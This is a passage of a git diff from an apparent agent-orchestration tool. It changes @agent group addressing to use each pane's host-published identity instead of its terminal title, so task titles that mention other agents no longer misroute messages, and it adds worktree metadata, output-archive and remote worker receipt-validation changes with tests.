+      const terminals = [makeSummary('sender'), makeSummary('target', { agentIdentity: 'claude' })]
+      expect(resolveGroupAddress('@CLAUDE', 'sender', terminals, noStatus)).toEqual(['target'])
     })
 
-    it('does not match OpenClaude titles through @claude', () => {
+    it('excludes the sender even when the sender is that agent', () => {
       const terminals = [
-        makeSummary('term_a', { title: 'Claude Code' }),
-        makeSummary('term_b', { title: 'OpenClaude running' })
+        makeSummary('sender', { agentIdentity: 'grok' }),
+        makeSummary('target', { agentIdentity: 'grok' })
       ]
-      const result = resolveGroupAddress('@claude', 'term_a', terminals, noStatus)
-      expect(result).toEqual([])
+      expect(resolveGroupAddress('@grok', 'sender', terminals, noStatus)).toEqual(['target'])
     })
 
-    it('matches @codex by terminal title', () => {
-      const terminals = [
-        makeSummary('term_a', { title: 'Codex CLI' }),
-        makeSummary('term_b', { title: 'Codex CLI' })
-      ]
-      const result = resolveGroupAddress('@codex', 'term_a', terminals, noStatus)
-      expect(result).toEqual(['term_b'])
+    describe('a task title can no longer redirect a message', () => {
+      // The bug. Recorded titles of this exact shape exist: a Grok pane named
+      // "Switch Claude and Codex off the load balancer… - grok" received both @claude and @codex.
+      it('does not route @claude to a Codex pane whose task text names Claude', () => {
+        const terminals = [
+          makeSummary('sender'),
+          makeSummary('codex_pane', {
+            agentIdentity: 'codex',
+            title: 'Review the Claude session-history fix'
+          })
+        ]
+        expect(resolveGroupAddress('@claude', 'sender', terminals, noStatus)).toEqual([])
+      })
+
+      it('does not route @codex to a Grok pane whose task text names Codex', () => {
+        const terminals = [
+          makeSummary('sender'),
+          makeSummary('grok_pane', {
+            agentIdentity: 'grok',
+            title: 'Switch Claude and Codex off the load balancer… - grok'
+          })
+        ]
+        expect(resolveGroupAddress('@codex', 'sender', terminals, noStatus)).toEqual([])
+        expect(resolveGroupAddress('@grok', 'sender', terminals, noStatus)).toEqual(['grok_pane'])
+      })
+
+      it('does not route @cursor to a pane merely discussing a text cursor', () => {
+        const terminals = [
+          makeSummary('sender'),
+          makeSummary('claude_pane', {
+            agentIdentity: 'claude',
+            title: 'fix the text cursor blink'
+          })
+        ]
+        expect(resolveGroupAddress('@cursor', 'sender', terminals, noStatus)).toEqual([])
+      })
     })
 
-    it('matches @droid by terminal title and excludes sender', () => {
-      const terminals = [
-        makeSummary('term_a', { title: 'Droid ready' }),
-        makeSummary('term_b', { title: 'Droid ready' }),
-        makeSummary('term_c', { title: 'Droid - action required' })
-      ]
-      const result = resolveGroupAddress('@droid', 'term_a', terminals, noStatus)
-      expect(result).toEqual(['term_b', 'term_c'])
+    describe('unknown identity fails closed', () => {
+      // Why: `agentIdentity` is absent when the host predates the field or had no evidence
+      // beyond the title. Delivery is an action, so unknown must not deliver. The sender sees
+      // no recipients, which is visible and recoverable; a message in the wrong agent's prompt
+      // is neither.
+      it('does not route to a pane with no resolved identity, whatever its title says', () => {
+        const terminals = [makeSummary('sender'), makeSummary('unknown', { title: 'Claude Code' })]
+        expect(resolveGroupAddress('@claude', 'sender', terminals, noStatus)).toEqual([])
+      })
+
+      it('still routes the identity-free groups, which do not depend on the field', () => {
+        const terminals = [makeSummary('sender'), makeSummary('other', { title: 'Claude Code' })]
+        expect(resolveGroupAddress('@all', 'sender', terminals, noStatus)).toEqual(['other'])
+      })
     })
 
-    it('does not match Android, path, or hyphenated tokens through @droid', () => {
-      const terminals = [
-        makeSummary('term_a', { title: 'Codex CLI' }),
-        makeSummary('term_b', { title: 'Android build' }),
-        makeSummary('term_c', { title: '/tmp/android' }),
-        makeSummary('term_d', { title: 'my-droid-worker' })
-      ]
-      const result = resolveGroupAddress('@droid', 'term_a', terminals, noStatus)
-      expect(result).toEqual([])
-    })
-
-    it('is case-insensitive for group address', () => {
-      const terminals = [makeSummary('term_a'), makeSummary('term_b', { title: 'Claude Code' })]
-      const result = resolveGroupAddress('@Claude', 'term_a', terminals, noStatus)
-      expect(result).toEqual(['term_b'])
-    })
-
-    it('matches @grok as a standalone title token and excludes sender', () => {
-      const terminals = [
-        makeSummary('term_a', { title: 'Grok' }),
-        makeSummary('term_b', { title: 'GROK CLI' }),
-        makeSummary('term_c', { title: '⠋ Grok' }),
-        makeSummary('term_d', { title: 'ngrok' }),
-        makeSummary('term_e', { title: '/tmp/grok' }),
-        makeSummary('term_f', { title: 'my-grok-worker' }),
-        makeSummary('term_g', { title: 'Codex CLI' })
-      ]
-
-      const result = resolveGroupAddress('@GrOk', 'term_a', terminals, noStatus)
-
-      expect(result).toEqual(['term_b', 'term_c'])
-    })
-
-    // Why: the resolver sees the raw OSC title, and Grok CLI's real working/session
-    // titles carry a trailing " - grok" identity or a spinner-collapsed "⠋ grok"
-    // (see terminal-title-agent-type.ts). Prove those production shapes resolve.
-    it('matches real Grok OSC working and session titles', () => {
-      const terminals = [
-        makeSummary('coordinator', { title: 'Coordinator' }),
-        makeSummary('term_rotating', { title: '⠋ - fix the flaky suite - grok' }),
-        makeSummary('term_collapsed', { title: '⠋ grok' }),
-        makeSummary('term_session', { title: 'Fix the auth bug - grok' })
-      ]
-
-      const result = resolveGroupAddress('@grok', 'coordinator', terminals, noStatus)
-
-      expect(result).toEqual(['term_rotating', 'term_collapsed', 'term_session'])
-    })
-
-    // Why: Windows agent titles can surface the launcher process name (`grok.exe`);
-    // the shared matcher accepts .exe/.cmd/.bat/.ps1 suffixes but still rejects
-    // arbitrary dotted fragments like `grok.py`.
-    it('matches Windows launcher-suffix titles but not arbitrary dotted tokens', () => {
-      const terminals = [
-        makeSummary('coordinator', { title: 'Coordinator' }),
-        makeSummary('term_exe', { title: 'grok.exe' }),
-        makeSummary('term_cmd', { title: 'grok.cmd running' }),
-        makeSummary('term_dotted', { title: 'grok.py' })
-      ]
-
-      const result = resolveGroupAddress('@grok', 'coordinator', terminals, noStatus)
-
-      expect(result).toEqual(['term_exe', 'term_cmd'])
-    })
-
-    // Why: these are the titles cursor-agent natively emits and the ones Orca synthesizes
-    // from Cursor hooks, so each must resolve.
-    it('matches native and Orca-synthesized Cursor titles', () => {
-      const terminals = [
-        makeSummary('coordinator', { title: 'Coordinator' }),
-        makeSummary('term_native', { title: 'Cursor Agent' }),
-        makeSummary('term_working', { title: '⠋ Cursor Agent' }),
-        makeSummary('term_idle', { title: 'Cursor ready' }),
-        makeSummary('term_permission', { title: 'Cursor - action required' })
-      ]
-
-      const result = resolveGroupAddress('@cursor', 'coordinator', terminals, noStatus)
-
-      expect(result).toEqual(['term_native', 'term_working', 'term_idle', 'term_permission'])
-    })
-
-    it('is case-insensitive for @cursor', () => {
-      const terminals = [
-        makeSummary('coordinator', { title: 'Coordinator' }),
-        makeSummary('term_b', { title: 'CURSOR READY' })
-      ]
-
-      const result = resolveGroupAddress('@CuRsOr', 'coordinator', terminals, noStatus)
-
-      expect(result).toEqual(['term_b'])
-    })
-
-    // Why: this is the false positive that a whole-token matcher cannot catch. Claude
-    // and Codex put their task summary in the OSC title, and none of Claude's status
-    // prefixes carries its own name, so "cursor" as ordinary editor vocabulary is the
-    // only agent token such a title has. Routing @cursor there would write into a live
-    // non-Cursor agent's prompt.
-    it('does not match another agent whose task title mentions a text cursor', () => {
-      const terminals = [
-        makeSummary('coordinator', { title: 'Coordinator' }),
-        makeSummary('term_claude_working', {
-          title: '⠋ preserve cursor visibility across replays'
-        }),
-        makeSummary('term_claude_idle', { title: '✳ Fix the text cursor blink' }),
-        makeSummary('term_claude_dot', { title: '. fix cursor position' }),
-        makeSummary('term_claude_star', { title: '* cursor rendering done' }),
-        makeSummary('term_codex', { title: '⠋ Codex: fix cursor offsets' }),
-        makeSummary('term_grok', { title: '⠋ - restoring cursor state - grok' }),
-        makeSummary('term_shell', { title: 'Terminal Cursor and Orca slows down' })
-      ]
-
-      const result = resolveGroupAddress('@cursor', 'coordinator', terminals, noStatus)
-
-      expect(result).toEqual([])
-    })
-
-    // Why: pin the deliberate tradeoff. A renamed Cursor pane outranks its OSC title, so it
-    // is group-unaddressable and resolves to nothing instead of resolving loosely. A silent
-    // miss (address it by handle) is preferred over delivering into another agent's prompt.
-    it('does not match a renamed Cursor terminal or the bare process name', () => {
-      const terminals = [
-        makeSummary('coordinator', { title: 'Coordinator' }),
-        makeSummary('term_renamed', { title: 'Cursor - reviewer' }),
-        makeSummary('term_worker', { title: 'cursor worker 2' }),
-        makeSummary('term_process', { title: 'cursor-agent' })
-      ]
-
-      const result = resolveGroupAddress('@cursor', 'coordinator', terminals, noStatus)
-
-      expect(result).toEqual([])
-    })
-
-    it('does not match cursor paths, hyphenated compounds, or dotted tokens', () => {
-      const terminals = [
-        makeSummary('coordinator', { title: 'Coordinator' }),
-        makeSummary('term_rules', { title: '~/cursor-rules' }),
-        makeSummary('term_path', { title: '/tmp/cursor' }),
-        makeSummary('term_worker', { title: 'my-cursor-worker' }),
-        makeSummary('term_file', { title: 'render-cursor-after-bracketed-paste' }),
-        makeSummary('term_dotted', { title: 'cursor.ts' })
-      ]
-
-      const result = resolveGroupAddress('@cursor', 'coordinator', terminals, noStatus)
-
-      expect(result).toEqual([])
+    it('returns no recipients for an unknown group', () => {
+      const terminals = [makeSummary('sender'), makeSummary('target', { agentIdentity: 'claude' })]
+      expect(resolveGroupAddress('@nonsense', 'sender', terminals, noStatus)).toEqual([])
     })
   })
 
diff --git a/src/main/runtime/orchestration/groups.ts b/src/main/runtime/orchestration/groups.ts
index 6f31f5df261..64c0900bfb9 100644
--- a/src/main/runtime/orchestration/groups.ts
+++ b/src/main/runtime/orchestration/groups.ts
@@ -1,6 +1,5 @@
-import { isCursorAgentTitle } from '../../../shared/agent-title-core'
-import { buildAgentNameRe } from '../../../shared/agent-name-token-match'
 import type { RuntimeTerminalSummary } from '../../../shared/runtime-types'
+import type { TuiAgent } from '../../../shared/tui-agent'
 
 // Why: group addresses enable broadcast messaging to logical groups of agents.
 // Resolution is done at send-time: one message record per recipient, same thread_id,
@@ -24,23 +23,36 @@ export function isGroupAddress(to: string): boolean {
   return to.startsWith('@')
 }
 
-// Why: a name token identifies an agent only when the name is a coined word. `cursor` is
-// also ordinary vocabulary in another agent's task-summary title ("fix the text cursor
-// blink"), so token-matching it would route @cursor into a live Claude/Codex prompt. Names
-// with that ambiguity register the identity predicate delivery already applies to them.
-const GROUP_TITLE_MATCHERS: Partial<Record<AgentNameGroup, (title: string) => boolean>> = {
-  cursor: isCursorAgentTitle
+/** Group name to the agent id the host publishes for a pane. */
+const GROUP_AGENT_IDS: Record<AgentNameGroup, TuiAgent> = {
+  claude: 'claude',
+  openclaude: 'openclaude',
+  codex: 'codex',
+  opencode: 'opencode',
+  mimo: 'mimo-code',
+  gemini: 'gemini',
+  droid: 'droid',
+  grok: 'grok',
+  cursor: 'cursor'
 }
 
-function titleMatchesAgentNameGroup(title: string, agentName: string): boolean {
-  const identityMatcher = GROUP_TITLE_MATCHERS[agentName as AgentNameGroup]
-  if (identityMatcher) {
-    return identityMatcher(title)
-  }
-  // Why: reuse the shared whole-token matcher so orchestration groups honor the
-  // same Windows launcher-suffix rule (e.g. `grok.exe`) as the rest of Orca's
-  // agent-title detection, instead of maintaining a divergent regex here.
-  return buildAgentNameRe(agentName).test(title)
+/**
+ * Whether this terminal IS the addressed agent.
+ *
+ * Why the host's resolved identity and not the title: a terminal title is a decoration channel
+ * that routinely contains other agents' names, because people describe agent work in their task
+ * titles. Matching `@claude` against the title delivered the message to any pane whose task text
+ * happened to say "claude" — a Codex pane reviewing a Claude PR received Claude's instructions.
+ * Recorded titles like "Switch Claude and Codex off the load balancer… - grok" are the ordinary
+ * case, not a contrived one.
+ *
+ * Why an absent identity means NO: `agentIdentity` is absent when the host predates the field or
+ * had no evidence beyond the title. Delivery is an action, so unknown fails closed. Not
+ * delivering is visible and recoverable — the sender sees no recipients; delivering to the wrong
+ * agent is neither.
+ */
+function terminalIsAgent(terminal: RuntimeTerminalSummary, agentName: AgentNameGroup): boolean {
+  return terminal.agentIdentity === GROUP_AGENT_IDS[agentName]
 }
 
 export function resolveGroupAddress(
@@ -76,9 +88,9 @@ export function resolveGroupAddress(
       .map((t) => t.handle)
   }
 
-  // Why: agent-name groups (@claude, @droid, etc.) match by terminal title so
-  // the sender can address all instances of a particular agent type without
-  // knowing their handles.
+  // Why: agent-name groups (@claude, @droid, etc.) resolve against the identity the HOST
+  // published for each pane, so the sender can address every instance of an agent without
+  // knowing their handles — and without a task title being able to redirect the message.
   const agentName = group.slice(1) // remove @
   if ((AGENT_NAME_GROUPS as readonly string[]).includes(agentName)) {
     return terminals
@@ -86,7 +98,7 @@ export function resolveGroupAddress(
         if (t.handle === senderHandle) {
           return false
         }
-        return titleMatchesAgentNameGroup(t.title ?? '', agentName)
+        return terminalIsAgent(t, agentName as AgentNameGroup)
       })
       .map((t) => t.handle)
   }
diff --git a/src/main/runtime/orchestration/worker-output-archive.ts b/src/main/runtime/orchestration/worker-output-archive.ts
index c6fe9970feb..f6f2b52ecb1 100644
--- a/src/main/runtime/orchestration/worker-output-archive.ts
+++ b/src/main/runtime/orchestration/worker-output-archive.ts
@@ -31,6 +31,7 @@ export type WorkerTranscriptSnapshotArchive = {
 
 export type WorkerTerminalTailArchive = {
   lines: string[]
+  draft?: string
   truncated: boolean
   terminalStatus: string
   warnings: string[]
@@ -85,8 +86,13 @@ export async function captureWorkerOutputArchive(args: {
       `Output could not be preserved for Dispatch ${args.dispatchId}; the terminal was retained. ${error instanceof Error ? error.message : String(error)}`
     )
   }
-  const redacted = redactWorkerTerminalLines(terminal.tail)
+  const redacted = redactWorkerTerminalLines([
+    ...terminal.tail,
+    ...(terminal.draft ? [terminal.draft] : [])
+  ])
   const bounded = boundArchiveLines(redacted.lines)
+  const draft = terminal.draft ? bounded.lines.at(-1) : undefined
+  const lines = terminal.draft ? bounded.lines.slice(0, -1) : bounded.lines
   // Why: an exited PTY zeroes its tail immediately, so an empty capture is a distinct receipt,
   // not silent success — worker-read must be able to say why nothing is there.
   const empty = bounded.lines.every((line) => line.trim() === '')
@@ -94,7 +100,8 @@ export async function captureWorkerOutputArchive(args: {
     kind: 'terminal_tail',
     status: empty ? 'empty' : 'captured',
     content: {
-      lines: bounded.lines,
+      lines,
+      ...(draft ? { draft } : {}),
       truncated: terminal.truncated || bounded.truncated,
       terminalStatus: terminal.status,
       warnings: empty
diff --git a/src/main/runtime/repo-worktree-row-resolution.test.ts b/src/main/runtime/repo-worktree-row-resolution.test.ts
index d4bff4a9442..32111ef2a53 100644
--- a/src/main/runtime/repo-worktree-row-resolution.test.ts
+++ b/src/main/runtime/repo-worktree-row-resolution.test.ts
@@ -5,6 +5,7 @@ import type { WorktreeMeta } from '../../shared/worktree/meta-types'
 import type { GitWorktreeInfo, Worktree } from '../../shared/worktree/types'
 import type { Store } from '../persistence'
 import {
+  listStoredWorktreeRowsForRepo,
   resolveRepoWorktreeRows,
   resolveScopedWorktreeIdRow,
   type RepoWorktreeRowDeps
@@ -111,6 +112,70 @@ describe('host-qualified scoped worktree resolution', () => {
       displayName: 'feature'
     })
   })
+  it('uses the host-qualified metadata owner when a legacy row has another host', async () => {
+    const deps = createDeps([
+      repo('shared', '/remote/repo', {
+        connectionId: 'builder',
+        executionHostId: 'ssh:builder'
+      })
+    ])
+    const worktreeId = 'shared::/same/worktree'
+    const remoteMeta = {
+      displayName: 'remote workspace',
+      hostId: 'ssh:builder',
+      instanceId: 'remote-instance'
+    } as unknown as WorktreeMeta
+    deps.metaById[worktreeId] = {
+      displayName: 'stale local workspace',
+      hostId: 'local',
+      instanceId: 'local-instance'
+    } as unknown as WorktreeMeta
+    ;(
+      deps.store as Store & {
+        getWorktreeMetaForHost: () => WorktreeMeta
+      }
+    ).getWorktreeMetaForHost = () => remoteMeta
+
+    const rows = await resolveRepoWorktreeRows(
+      deps,
+      deps.store.getRepos()[0]!,
+      deps.metaById,
+      new Map()
+    )
+
+    expect(rows[0]).toMatchObject({
+      displayName: 'remote workspace',
+      hostId: 'ssh:builder',
+      instanceId: 'remote-instance'
+    })
+  })
+
+  it('restores canonical-only SSH rows without leaking colliding local metadata', () => {
+    const local = repo('shared', '/local/repo', { executionHostId: 'local' })
+    const remote = repo('shared', '/remote/repo', {
+      connectionId: 'builder',
+      executionHostId: 'ssh:builder'
+    })
+    const deps = createDeps([local, remote])
+    deps.metaById['shared::/local/worktree'] = {
+      displayName: 'local workspace',
+      hostId: 'local'
+    } as WorktreeMeta
+    ;(
+      deps.store as Store & {
+        getAllWorktreeMetaForHost: () => Record<string, WorktreeMeta>
+      }
+    ).getAllWorktreeMetaForHost = () => ({
+      'shared::/remote/worktree': {
+        displayName: 'remote workspace',
+        hostId: 'ssh:builder'
+      } as unknown as WorktreeMeta
+    })
+
+    expect(listStoredWorktreeRowsForRepo(deps.store, remote, 2)).toEqual([
+      expect.objectContaining({ path: '/remote/worktree' })
+    ])
+  })
 
   it.each([
     ['runtime:windows', String.raw`C:\Users\dev\orca worktree`],
diff --git a/src/main/runtime/repo-worktree-row-resolution.ts b/src/main/runtime/repo-worktree-row-resolution.ts
index a9ef618ced7..e5e88607629 100644
--- a/src/main/runtime/repo-worktree-row-resolution.ts
+++ b/src/main/runtime/repo-worktree-row-resolution.ts
@@ -4,6 +4,11 @@ import {
   worktreeIdComparisonKey
 } from '../../shared/worktree/id'
 import { getRepoExecutionHostId, type ExecutionHostId } from '../../shared/execution-host'
+import {
+  readAllWorktreeMetaForHost,
+  readWorktreeMetaForHost,
+  writeWorktreeMetaForHost
+} from '../persistence/host-qualified-worktree-meta'
 import { isFolderRepo } from '../../shared/repo-kind'
 import { projectResolvedWorktreeLineage } from '../../shared/resolved-worktree-lineage'
 import { withTimeout } from '../../shared/promise-timeout-fallback'
@@ -62,7 +67,9 @@ export function listStoredWorktreeRowsForRepo(
 ): GitWorktreeInfo[] {
   const expectedHostId = getRepoExecutionHostId(repo)
   const byWorktreeId = new Map<string, GitWorktreeInfo>()
-  for (const [worktreeId, meta] of Object.entries(store.getAllWorktreeMeta())) {
+  for (const [worktreeId, meta] of Object.entries(
+    readAllWorktreeMetaForHost(store, expectedHostId)
+  )) {
     const parsed = splitWorktreeId(worktreeId)
     if (!parsed || parsed.repoId !== repo.id) {
       continue
@@ -134,15 +141,18 @@ export async function resolveRepoWorktreeRows(
     const worktreeId = `${repo.id}::${gitWorktree.path}`
     // Why: lineage validation needs a durable instance ID even when the runtime sees a workspace before renderer discovery-stamp.
     const existingMeta = metaById[worktreeId]
-    const ownedExistingMeta = getRepoOwnedWorktreeMeta(repo, worktreeId, metaById, repoOwnerCount)
+    // A host-qualified row is exact; the locator-keyed one is only trustworthy when this repo owns it.
+    const ownedExistingMeta =
+      readWorktreeMetaForHost(store, worktreeId, expectedHostId) ??
+      getRepoOwnedWorktreeMeta(repo, worktreeId, metaById, repoOwnerCount)
     const meta = ownedExistingMeta?.instanceId
       ? ownedExistingMeta
       : ownedExistingMeta || (!existingMeta && repoOwnerCount === 1)
-        ? store.setWorktreeMeta(worktreeId, {})
+        ? writeWorktreeMetaForHost(store, worktreeId, expectedHostId, {})
         : undefined
     const merged = {
       ...mergeWorktree(repo.id, gitWorktree, meta, repo.displayName),
-      hostId: repoOwnerCount === 1 ? (existingMeta?.hostId ?? expectedHostId) : expectedHostId
+      hostId: meta?.hostId ?? expectedHostId
     }
     return {
       ...merged,
diff --git a/src/main/runtime/rpc/methods/automation-schemas.ts b/src/main/runtime/rpc/methods/automation-schemas.ts
index 919a251d26d..5e5dbe4e4ad 100644
--- a/src/main/runtime/rpc/methods/automation-schemas.ts
+++ b/src/main/runtime/rpc/methods/automation-schemas.ts
@@ -1,6 +1,6 @@
 // Why: the automation method table stays readable only if its field-level validation lives beside it rather than inside it.
 import { z } from 'zod'
-import { isValidAutomationSchedule } from '../../../../shared/automation-schedules'
+import { isValidAutomationSchedule } from '../../../../shared/automation-schedule-parsing'
 import {
   MAX_AUTOMATION_PRECHECK_TIMEOUT_SECONDS,
   normalizeAutomationPrecheckTimeoutSeconds
@@ -141,6 +141,7 @@ export const AutomationRuns = z.object({
 })
 
 export const AutomationCreate = z.object({
+  creationKey: OptionalString,
   name: requiredString('Missing automation name'),
   prompt: requiredString('Missing automation prompt'),
   precheck: AutomationPrecheck,
diff --git a/src/main/runtime/rpc/methods/linear-agent-access.test.ts b/src/main/runtime/rpc/methods/linear-agent-access.test.ts
index 56c32168460..511378aa141 100644
--- a/src/main/runtime/rpc/methods/linear-agent-access.test.ts
+++ b/src/main/runtime/rpc/methods/linear-agent-access.test.ts
@@ -2,7 +2,7 @@ import { describe, expect, it, vi } from 'vitest'
 import { RpcDispatcher } from '../dispatcher'
 import type { RpcRequest } from '../core'
 import { OrcaRuntimeService } from '../../orca-runtime'
-import { LinearWriteFailure } from '../../../linear/issues'
+import { LinearWriteFailure } from '../../../linear/linear-issue-write-support'
 import { sanitizeLinearErrorMessage } from '../../../linear/issue-context-errors'
 import { LINEAR_AGENT_ACCESS_METHODS } from './linear-agent-access'
 
diff --git a/src/main/runtime/rpc/methods/linear-agent-project-access.test.ts b/src/main/runtime/rpc/methods/linear-agent-project-access.test.ts
index 9e0f1568050..eb8f3df4263 100644
--- a/src/main/runtime/rpc/methods/linear-agent-project-access.test.ts
+++ b/src/main/runtime/rpc/methods/linear-agent-project-access.test.ts
@@ -1,6 +1,6 @@
 import { describe, expect, it, vi } from 'vitest'
 import { OrcaRuntimeService } from '../../orca-runtime'
-import type * as LinearIssuesModule from '../../../linear/issues'
+import type * as LinearIssueMutationsModule from '../../../linear/linear-issue-mutations'
 
 type LinearProjectResolverTester = {
   resolveLinearCreateProject(
@@ -223,8 +223,8 @@ describe('Linear agent project access helpers', () => {
       parent: null,
       project: { id: 'project-1', name: 'Launch' }
     })
-    vi.doMock('../../../linear/issues', async (importOriginal) => {
-      const actual = await importOriginal<typeof LinearIssuesModule>()
+    vi.doMock('../../../linear/linear-issue-mutations', async (importOriginal) => {
+      const actual = await importOriginal<typeof LinearIssueMutationsModule>()
       return { ...actual, createIssueForAgent }
     })
     try {
@@ -262,7 +262,7 @@ describe('Linear agent project access helpers', () => {
         })
       )
     } finally {
-      vi.doUnmock('../../../linear/issues')
+      vi.doUnmock('../../../linear/linear-issue-mutations')
       vi.resetModules()
     }
   })
diff --git a/src/main/runtime/rpc/methods/orchestration-federated-attach-receipt.test.ts b/src/main/runtime/rpc/methods/orchestration-federated-attach-receipt.test.ts
new file mode 100644
index 00000000000..400232fdffb
--- /dev/null
+++ b/src/main/runtime/rpc/methods/orchestration-federated-attach-receipt.test.ts
@@ -0,0 +1,36 @@
+import { describe, expect, it } from 'vitest'
+import { parseRemoteFederatedWorkerStartReceipt } from './orchestration-federated-attach-receipt'
+
+describe('remote federated worker start receipt', () => {
+  it.each([
+    { name: 'missing runtime epoch', receipt: {} },
+    { name: 'non-string runtime epoch', receipt: { runtimeEpoch: 42 } },
+    { name: 'missing worktree id', receipt: { runtimeEpoch: 'epoch_remote' } },
+    {
+      name: 'missing terminal handle',
+      receipt: {
+        runtimeEpoch: 'epoch_remote',
+        worktreeId: 'worktree_remote',
+        terminalHandle: undefined
+      }
+    }
+  ])('rejects a ready receipt with $name', ({ receipt }) => {
+    expect(() =>
+      parseRemoteFederatedWorkerStartReceipt({
+        dispatchId: 'ctx_remote',
+        state: 'ready',
+        terminalHandle: 'term_remote',
+        ...receipt
+      })
+    ).toThrow('invalid ready receipt')
+  })
+
+  it('accepts a non-ready receipt without ready-only resources', () => {
+    expect(
+      parseRemoteFederatedWorkerStartReceipt({
+        dispatchId: 'ctx_remote',
+        state: 'outcome_unknown'
+      })
+    ).toMatchObject({ dispatchId: 'ctx_remote', state: 'outcome_unknown' })
+  })
+})
diff --git a/src/main/runtime/rpc/methods/orchestration-federated-attach-receipt.ts b/src/main/runtime/rpc/methods/orchestration-federated-attach-receipt.ts
new file mode 100644
index 00000000000..fc62a31788b
--- /dev/null
+++ b/src/main/runtime/rpc/methods/orchestration-federated-attach-receipt.ts
@@ -0,0 +1,53 @@
+import type { OrchestrationWorkerLaunchReceipt } from './orchestration-worker-launch-preferences'
+
+export type RemoteFederatedWorkerStartReceipt = {
+  dispatchId: string
+  state: string
+  runtimeEpoch?: string
+  worktreeId?: string
+  terminalHandle?: string
+  setup?: { state: string }
+  launch?: OrchestrationWorkerLaunchReceipt
+  effects?: unknown[]
+  residualResources?: unknown[]
+  failedStage?: string
+  lastError?: string
+}
+
+export type ReadyRemoteFederatedWorkerStartReceipt = RemoteFederatedWorkerStartReceipt & {
+  state: 'ready'
+  runtimeEpoch: string
+  worktreeId: string
+  terminalHandle: string
+}
+
+export function parseRemoteFederatedWorkerStartReceipt(
+  value: unknown
+): RemoteFederatedWorkerStartReceipt {
+  if (!isRecord(value) || !isNonEmptyString(value.dispatchId) || !isNonEmptyString(value.state)) {
+    throw new Error('The worker server returned an invalid attachment receipt.')
+  }
+  if (
+    value.state === 'ready' &&
+    (!isNonEmptyString(value.runtimeEpoch) ||
+      !isNonEmptyString(value.worktreeId) ||
+      !isNonEmptyString(value.terminalHandle))
+  ) {
+    throw new Error('The worker server returned an invalid ready receipt.')
+  }
+  return value as RemoteFederatedWorkerStartReceipt
+}
+
+export function isReadyRemoteFederatedWorkerStartReceipt(
+  receipt: RemoteFederatedWorkerStartReceipt
+): receipt is ReadyRemoteFederatedWorkerStartReceipt {
+  return receipt.state === 'ready'
+}
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+function isNonEmptyString(value: unknown): value is string {
+  return typeof value === 'string' && value.length > 0
+}
diff --git a/src/main/runtime/rpc/methods/orchestration-federated-worker-start-receipt.test.ts b/src/main/runtime/rpc/methods/orchestration-federated-worker-start-receipt.test.ts
new file mode 100644
index 00000000000..270c5f6a322
--- /dev/null
+++ b/src/main/runtime/rpc/methods/orchestration-federated-worker-start-receipt.test.ts
@@ -0,0 +1,84 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import {
+  ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY,
+  ORCHESTRATION_FEDERATION_RUNTIME_CAPABILITY
+} from '../../../../shared/protocol-version'
+import { OrcaRuntimeService } from '../../orca-runtime'
+import { OrchestrationDb } from '../../orchestration/db'
+import { startFederatedWorker } from './orchestration-federated-worker-start'
+
+describe('federated worker start receipt validation', () => {
+  const databases: OrchestrationDb[] = []
+
+  afterEach(() => {
+    for (const database of databases.splice(0)) {
+      database.close()
+    }
+  })
+
+  it('marks a malformed ready receipt outcome unknown without persisting resources', async () => {
+    const db = new OrchestrationDb(':memory:')
+    const runtime = new OrcaRuntimeService()
+    runtime.setOrchestrationDb(db)
+    databases.push(db)
+    const run = db.createRun({
+      objective: 'federated worker',
+      coordinatorHandle: 'term_coord',
+      coordinatorPaneKey: 'tab_coord:leaf_coord'
+    })
+    const task = db.createTask({ spec: 'remote work', runId: run.id })
+    vi.spyOn(runtime, 'resolveOrchestrationWorkerServer').mockReturnValue({
+      environmentId: 'environment_remote',
+      name: 'remote',
+      peerFingerprint: 'remote_peer'
+    })
+    vi.spyOn(runtime, 'callOrchestrationWorkerServer').mockImplementation(
+      async (_environmentId, method, params) => {
+        if (method === 'status.get') {
+          return {
+            capabilities: [
+              ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY,
+              ORCHESTRATION_FEDERATION_RUNTIME_CAPABILITY
+            ]
+          }
+        }
+        return {
+          dispatchId: (params as { dispatchId: string }).dispatchId,
+          state: 'ready',
+          worktreeId: 'worktree_remote',
+          terminalHandle: 'term_remote'
+        }
+      }
+    )
+
+    const result = (await startFederatedWorker({
+      params: {
+        task: task.id,
+        from: 'term_coord',
+        on: 'remote',
+        worktree: 'id:worktree_remote',
+        terminal: 'term_remote'
+      },
+      runtime,
+      db,
+      runId: run.id,
+      task,
+      orchestrationMutation: {
+        callerFingerprint: 'caller',
+        requestId: 'remote_start',
+        method: 'orchestration.workerStart',
+        payloadHash: 'payload'
+      }
+    })) as { dispatchId: string; state: string; lastError?: string }
+
+    expect(result).toMatchObject({
+      state: 'outcome_unknown',
+      lastError: 'The worker server returned an invalid ready receipt.'
+    })
+    expect(db.getFederatedDispatch(result.dispatchId)).toMatchObject({
+      remote_runtime_epoch: null,
+      remote_worktree_id: null,
+      remote_terminal_handle: null
+    })
+  })
+})
diff --git a/src/main/runtime/rpc/methods/orchestration-federated-worker-start-unknown-receipt.ts b/src/main/runtime/rpc/methods/orchestration-federated-worker-start-unknown-receipt.ts
new file mode 100644
index 00000000000..f0c7354c3e5
--- /dev/null
+++ b/src/main/runtime/rpc/methods/orchestration-federated-worker-start-unknown-receipt.ts
@@ -0,0 +1,25 @@
+import type { OrchestrationWorkerLaunchReceipt } from './orchestration-worker-launch-preferences'
+
+export function federatedUnknownReceipt(
+  worker: { dispatch_id: string; state: string; stage: string; last_error: string | null },
+  taskId: string,
+  serverName: string,
+  launch: OrchestrationWorkerLaunchReceipt
+): unknown {
+  return {
+    taskId,
+    dispatchId: worker.dispatch_id,
+    state: 'outcome_unknown',
+    stage: worker.stage,
+    server: { name: serverName },
+    launch,
+    failedStage: worker.stage,
+    lastError: worker.last_error,
+    effects: [],
+    residualResources: [],
+    nextCommands: [
+      `orca orchestration worker-show --dispatch ${worker.dispatch_id} --json`,
+      `orca orchestration worker-abandon --dispatch ${worker.dispatch_id} --json`
+    ]
+  }
+}
diff --git a/src/main/runtime/rpc/methods/orchestration-federated-worker-start.ts b/src/main/runtime/rpc/methods/orchestration-federated-worker-start.ts
index 28c6530d2a0..0f6bd44f67f 100644
--- a/src/main/runtime/rpc/methods/orchestration-federated-worker-start.ts
+++ b/src/main/runtime/rpc/methods/orchestration-federated-worker-start.ts
@@ -17,11 +17,17 @@ import {
